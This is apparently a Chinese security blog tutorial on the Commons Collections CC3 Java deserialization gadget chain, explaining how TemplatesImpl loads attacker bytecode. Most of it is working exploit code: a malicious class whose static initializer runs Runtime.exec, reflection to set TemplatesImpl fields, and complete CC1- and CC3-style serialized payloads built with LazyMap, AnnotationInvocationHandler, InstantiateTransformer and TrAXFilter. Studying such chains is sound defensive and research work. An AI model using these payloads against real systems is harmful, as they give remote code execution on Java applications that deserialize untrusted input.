0x01 写在前面

CC3链与前面的CC1链与CC6链的区别之处是非常大的。CC1链和CC6链是通过Runtime.exec()进行命令执行。但毕竟是命令执行的危险方法,绝大多数时候服务器的代码当中的黑名单会选择禁用Runtime

而CC3链中,则不再依赖Runtime,而是通过动态加载类加载机制来实现自动执行恶意类代码

因此,你有必要先了解一下Java类的动态加载

0x02 TemplatesImpl 解析

简单回顾

利用 ClassLoader#defineClass 直接加载字节码,不管是加载远程 class 文件,还是本地的 class 或 jar 文件,Java 都经历的是下面这三个方法调用

img

  • loadClass() 的作用是从已加载的类、父加载器位置寻找类(即双亲委派机制),在前面没有找到的情况下,调用当前ClassLoader的findClass()方法;
  • findClass() 根据URL指定的方式来加载类的字节码,其中会调用defineClass()
1
2
3
protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的 Java 类
1
2
3
4
5
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(name, b, off, len, null);
}

由此可见,真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java

默认的 ClassLoader#defineClass 是一个 native 方法,逻辑在 JVM 的C语言代码中

defineClass()只进行类加载而不会进行执行类,执行需要先进行 newInstance() 的实例化

defineClass()作用域为protected,我们需要寻找public类方便调用,find Usages我们找到了TemplatesImpl

img

其中的defineClass()方法

1
2
3
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

查看调用情况,其被defineTransletClasses()内部调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

作用域为private,继续查看调用情况,发现有三处调用

img

其中在getTransletInstance(),发现了实例化方法

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance()这就是关键切入点,如果能走完这个函数那么就能动态执行代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

继续跟进getTransletInstance(),终于找到了public作用域方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

并且TemplatesImpl这个类继承Serializable接口,方便我们控制其属性

1
public final class TemplatesImpl implements Templates, Serializable{...}

0x03 TemplatesImpl 利用

在分析过程我们说到只要走过 getTransletInstance() 方法即可,因为这个方法内调用了 newInstance() 方法

1
2
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();

这样就完成了getTransletInstance()的触发,但是我们在寻找这个方法时注意到是其实走完这条链有很多限制的,我们重新跟进newTransformer()就能发现

满足_name不能为空否则直接返回

满足_class为空才能进入defineTransletClasses()

img

跟进defineTransletClasses()

满足_bytecodes不为空,否则抛出异常

1
_tfactory`也需要赋值,否则无法调用`_tfactory()

img

都是TemplatesImpl类的属性,直接通过反射修改

1
Class tc = TemplatesImpl.class;
  1. 满足_class为空,来看看TemplatesImpl的构造函数并没有给_class赋值,不需要我们主动操作
  2. 满足_name不能为空,类型为String
1
2
3
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
  1. 满足_bytecodes不为空,类型为byte[][]

来看看_bytecodes的作用,实际上时循环调用_bytecodes数组中每一组的字节码通过loader.defineClass()转为 Class 对象

img

这一步在进行loader.defineClass()会触发类的静态初始化块,因此我们需要把恶意的字节码存入_bytecodes

1
2
3
4
5
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://Task/test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

同时编写恶意类,在类初始化时触发静态初始化块,编译后将生成的.class文件放到对应路径下

1
2
3
4
5
6
7
8
9
10
11
package org.example;

public class test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}
  1. _tfactory

先看_tfactory的数据类型,关键字为transient,这就导致了这个变量在序列化之后无法被访问

1
private transient TransformerFactoryImpl _tfactory = null;

但是我们的要求比较低,只需要在其序列化之前使其不为null即可,在readObject()的最后一行中我们找到了初始化定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private void  readObject(ObjectInputStream is)
throws IOException, ClassNotFoundException
{
SecurityManager security = System.getSecurityManager();
if (security != null){
String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET);
if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true"))) {
ErrorMsg err = new ErrorMsg(ErrorMsg.DESERIALIZE_TRANSLET_ERR);
throw new UnsupportedOperationException(err.toString());
}
}

// We have to read serialized fields first.
ObjectInputStream.GetField gf = is.readFields();
_name = (String)gf.get("_name", null);
_bytecodes = (byte[][])gf.get("_bytecodes", null);
_class = (Class[])gf.get("_class", null);
_transletIndex = gf.get("_transletIndex", -1);

_outputProperties = (Properties)gf.get("_outputProperties", null);
_indentNumber = gf.get("_indentNumber", 0);

if (is.readBoolean()) {
_uriResolver = (URIResolver) is.readObject();
}

_tfactory = new TransformerFactoryImpl();
}

依旧反射调用/.

1
2
3
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

完整的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
TemplatesImpl templates = new TemplatesImpl();

Class tc = TemplatesImpl.class;

Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://Task/test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

templates.newTransformer();

0x04 解决报错

尝试运行exp,抛出了空指针错误

img

报错提示出现在TemplatesImpl的422行,我们在上面打上断点调试看看问题

首先_class[i],成功获取_bytecodes[i]字节码,superClass获取其父类

img

判断父类名是否为ABSTRACT_TRANSLET,因为我们没有继承ABSTRACT_TRANSLET因此进入到else代码块

可以看到_auxClasses旁有了报错NullPointException

img

接下来我们有两个选择,一是给_auxClasses赋值,二是满足test.class继承ABSTRACT_TRANSLET,我们选择后者

为什么,我们看到下面的if判断,我在上图的箭头所指,如果没有满足test.class的父类为ABSTRACT_TRANSLET,就不会进入if代码块_transletIndex的值仍然为-1,导致抛出异常

1
2
3
4
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}

并且AbstractTranslet是一个抽象类,我们需要实现其抽象方法,最终的test.class如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class test1 extends AbstractTranslet {
public test1() {
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}

}
}

命令执行成功

img

0x05 CC1链的TemplatesImpl实现

前面的链子不变,只改变最后的命令执行方式,通过动态加载类实现

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
TemplatesImpl templates = new TemplatesImpl();

Class tc = TemplatesImpl.class;

Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://Task/test1.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHConstructor = c.getDeclaredConstructor(Class.class, Map.class);
AIHConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) AIHConstructor.newInstance(Target.class, lazyMap);
Map proxy = (Map) Proxy.newProxyInstance(invocationHandler.getClass().getClassLoader(), new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) AIHConstructor.newInstance(Target.class, proxy);

serialize(invocationHandler);
unserialize("ser.bin");

0x06 CC6链解析

因为只需要调用 TemplatesImpl 类的 newTransformer() 方法,便可以进行命令执行,所以我们去到 newTransformer() 方法下,find usages找到了TrAXFilter

img

进入TrAXFilter类,虽然没有继承Serializable接口,但是在它的构造方法中实现newTransformer(),构造函数的参数也方便控制,所以我们只要执行这个类的构造函数即可命令执行

img

CC3 的作者没有调用 InvokerTransformer,而是调用了一个新的类 InstantiateTransformer

InstantiateTransformer 这个类是用来初始化 Transformer 的,我们去找 InstantiateTransformer 类下的 transform()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}

方法首先检查了input是否为Class类型,然后获取构造器con再进行newInstance(),这个方法完美符合我们的需求,用以下代码来测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
TemplatesImpl templates = new TemplatesImpl();

Class tc = TemplatesImpl.class;

Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://Task/test1.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

命令执行成功,最后还是利用ChainedTransformer+ConstantTransformer()控制setValue()传参构造最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
TemplatesImpl templates = new TemplatesImpl();

Class tc = TemplatesImpl.class;

Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://Task/test1.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);

templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHConstructor = c.getDeclaredConstructor(Class.class, Map.class);
AIHConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) AIHConstructor.newInstance(Target.class, lazyMap);
Map proxy = (Map) Proxy.newProxyInstance(invocationHandler.getClass().getClassLoader(), new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) AIHConstructor.newInstance(Target.class, proxy);

serialize(invocationHandler);
unserialize("ser.bin");

0x07 小结

因为几个链子最后都能通过TemplatesImpl实现命令执行,就放在一起总结了

img

参考

https://drun1baby.top/2022/06/20/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8704-CC3%E9%93%BE/ https://drun1baby.github.io/2022/06/03/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9F%BA%E7%A1%80%E7%AF%87-05-%E7%B1%BB%E7%9A%84%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD/ https://www.bilibili.com/video/BV1Zf4y1F74K/?spm_id_from=333.1007.top_right_bar_window_history.content.click&vd_source=52eba7627ed3e9842c78702b92c1bba9